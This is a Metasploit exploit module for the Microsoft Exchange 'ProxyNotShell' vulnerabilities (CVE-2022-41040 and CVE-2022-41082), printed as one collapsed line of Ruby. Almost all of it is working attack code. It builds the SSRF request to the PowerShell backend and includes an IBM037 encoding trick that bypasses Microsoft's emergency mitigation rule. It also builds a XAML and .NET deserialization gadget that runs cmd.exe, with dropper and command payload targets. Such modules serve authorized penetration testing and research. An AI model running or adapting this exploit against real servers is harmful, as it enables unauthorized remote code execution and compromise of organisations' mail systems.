Microsoft Exchange ProxyNotShell Remote Code Execution

### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  prepend Msf::Exploit::Remote::AutoCheck  include Msf::Exploit::CmdStager  include Msf::Exploit::Remote::HTTP::Exchange  include Msf::Exploit::Remote::HTTP::Exchange::ProxyMaybeShell  include Msf::Exploit::EXE  def initialize(info = {})    super(      update_info(        info,        'Name' => 'Microsoft Exchange ProxyNotShell RCE',        'Description' => %q{          This module chains two vulnerabilities on Microsoft Exchange Server          that, when combined, allow an authenticated attacker to interact with          the Exchange Powershell backend (CVE-2022-41040), where a          deserialization flaw can be leveraged to obtain code execution          (CVE-2022-41082). This exploit only support Exchange Server 2019.          These vulnerabilities were patched in November 2022.        },        'Author' => [          'Orange Tsai', # Discovery of ProxyShell SSRF          'Spencer McIntyre', # Metasploit module          'DA-0x43-Dx4-DA-Hx2-Tx2-TP-S-Q', # Vulnerability analysis          'Piotr Bazydło', # Vulnerability analysis          'Rich Warren', # EEMS bypass via ProxyNotRelay          'Soroush Dalili' # EEMS bypass        ],        'References' => [          [ 'CVE', '2022-41040' ], # ssrf          [ 'CVE', '2022-41082' ], # rce          [ 'URL', 'https://www.zerodayinitiative.com/blog/2022/11/14/control-your-types-or-get-pwned-remote-code-execution-in-exchange-powershell-backend' ],          [ 'URL', 'https://msrc-blog.microsoft.com/2022/09/29/customer-guidance-for-reported-zero-day-vulnerabilities-in-microsoft-exchange-server/' ],          [ 'URL', 'https://doublepulsar.com/proxynotshell-the-story-of-the-claimed-zero-day-in-microsoft-exchange-5c63d963a9e9' ],          [ 'URL', 'https://rw.md/2022/11/09/ProxyNotRelay.html' ]        ],        'DisclosureDate' => '2022-09-28', # announcement of limited details, patched 2022-11-08        'License' => MSF_LICENSE,        'DefaultOptions' => {          'RPORT' => 443,          'SSL' => true        },        'Platform' => ['windows'],        'Arch' => [ARCH_CMD, ARCH_X64, ARCH_X86],        'Privileged' => true,        'Targets' => [          [            'Windows Dropper',            {              'Platform' => 'windows',              'Arch' => [ARCH_X64, ARCH_X86],              'Type' => :windows_dropper            }          ],          [            'Windows Command',            {              'Platform' => 'windows',              'Arch' => [ARCH_CMD],              'Type' => :windows_command            }          ]        ],        'DefaultTarget' => 0,        'Notes' => {          'Stability' => [CRASH_SAFE],          'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],          'AKA' => ['ProxyNotShell'],          'Reliability' => [REPEATABLE_SESSION]        }      )    )    register_options([      OptString.new('USERNAME', [ true, 'A specific username to authenticate as' ]),      OptString.new('PASSWORD', [ true, 'The password to authenticate with' ]),      OptString.new('DOMAIN', [ false, 'The domain to authenticate to' ])    ])    register_advanced_options([      OptEnum.new('EemsBypass', [ true, 'Technique to bypass the EEMS rule', 'IBM037v1', %w[IBM037v1 none]])    ])  end  def check    @ssrf_email ||= Faker::Internet.email    res = send_http('GET', '/mapi/nspi/')    return CheckCode::Unknown if res.nil?    return CheckCode::Unknown('Server responded with 401 Unauthorized.') if res.code == 401    return CheckCode::Safe unless res.code == 200 && res.get_html_document.xpath('//head/title').text == 'Exchange MAPI/HTTP Connectivity Endpoint'    # actually run the powershell cmdlet and see if it works, this will fail if:    #   * the credentials are incorrect (USERNAME, PASSWORD, DOMAIN)    #   * the exchange emergency mitigation service M1 rule is in place    return CheckCode::Safe unless execute_powershell('Get-Mailbox')    CheckCode::Vulnerable  rescue Msf::Exploit::Failed => e    CheckCode::Safe(e.to_s)  end  def ibm037(string)    string.encode('IBM037').force_encoding('ASCII-8BIT')  end  def send_http(method, uri, opts = {})    opts[:authentication] = {      'username' => datastore['USERNAME'],      'password' => datastore['PASSWORD'],      'preferred_auth' => 'NTLM'    }    if uri =~ /powershell/i && datastore['EemsBypass'] == 'IBM037v1'      uri = "/Autodiscover/autodiscover.json?#{ibm037(@ssrf_email + uri + '?')}&#{ibm037('Email')}=#{ibm037('Autodiscover/autodiscover.json?' + @ssrf_email)}"      opts[:headers] = {        'X-Up-Devcap-Post-Charset' => 'IBM037',        # technique needs the "UP" prefix, see: https://github.com/Microsoft/referencesource/blob/3b1eaf5203992df69de44c783a3eda37d3d4cd10/System/net/System/Net/HttpListenerRequest.cs#L362        'User-Agent' => "UP #{datastore['UserAgent']}"      }    else      uri = "/Autodiscover/autodiscover.json?#{@ssrf_email + uri}?&Email=Autodiscover/autodiscover.json?#{@ssrf_email}"    end    super(method, uri, opts)  end  def exploit    # if we're doing pre-exploit checks, make sure the target is Exchange Server 2019 because the XamlGadget does not    # work on Exchange Server 2016    if datastore['AutoCheck'] && !datastore['ForceExploit'] && (version = exchange_get_version)      vprint_status("Detected Exchange version: #{version}")      if version < Rex::Version.new('15.2')        fail_with(Failure::NoTarget, 'This exploit is only compatible with Exchange Server 2019 (version 15.2)')      end    end    @ssrf_email ||= Faker::Internet.email    case target['Type']    when :windows_command      vprint_status("Generated payload: #{payload.encoded}")      execute_command(payload.encoded)    when :windows_dropper      execute_cmdstager({ linemax: 7_500 })    end  end  def execute_command(cmd, _opts = {})    xaml = Nokogiri::XML(<<-XAML, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS).root      <ResourceDictionary        xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation"        xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml"        xmlns:System="clr-namespace:System;assembly=mscorlib"        xmlns:Diag="clr-namespace:System.Diagnostics;assembly=system">        <ObjectDataProvider x:Key="LaunchCalch" ObjectType="{x:Type Diag:Process}" MethodName="Start">          <ObjectDataProvider.MethodParameters>            <System:String>cmd.exe</System:String>            <System:String>/c #{cmd.encode(xml: :text)}</System:String>          </ObjectDataProvider.MethodParameters>        </ObjectDataProvider>      </ResourceDictionary>    XAML    identity = Nokogiri::XML(<<-IDENTITY, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS).root      <Obj N="V" RefId="14">        <TN RefId="1">        <T>System.ServiceProcess.ServiceController</T>          <T>System.Object</T>        </TN>        <ToString>Object</ToString>        <Props>          <S N="Name">Type</S>          <Obj N="TargetTypeForDeserialization">            <TN RefId="1">              <T>System.Exception</T>              <T>System.Object</T>            </TN>            <MS>              <BA N="SerializationData">                #{Rex::Text.encode_base64(XamlLoaderGadget.generate.to_binary_s)}              </BA>            </MS>          </Obj>        </Props>        <S>          <![CDATA[#{xaml}]]>        </S>      </Obj>    IDENTITY    execute_powershell('Get-Mailbox', args: [      { name: '-Identity', value: identity }    ])  endendclass XamlLoaderGadget < Msf::Util::DotNetDeserialization::Types::SerializedStream  include Msf::Util::DotNetDeserialization  def self.generate    from_values([      Types::RecordValues::SerializationHeaderRecord.new(root_id: 1, header_id: -1),      Types::RecordValues::SystemClassWithMembersAndTypes.from_member_values(        class_info: Types::General::ClassInfo.new(          obj_id: 1,          name: 'System.UnitySerializationHolder',          member_names: %w[Data UnityType AssemblyName]        ),        member_type_info: Types::General::MemberTypeInfo.new(          binary_type_enums: %i[String Primitive String],          additional_infos: [ 8 ]        ),        member_values: [          Types::Record.from_value(Types::RecordValues::BinaryObjectString.new(            obj_id: 2,            string: 'System.Windows.Markup.XamlReader'          )),          4,          Types::Record.from_value(Types::RecordValues::BinaryObjectString.new(            obj_id: 3,            string: 'PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35'          ))        ]      ),      Types::RecordValues::MessageEnd.new    ])  endend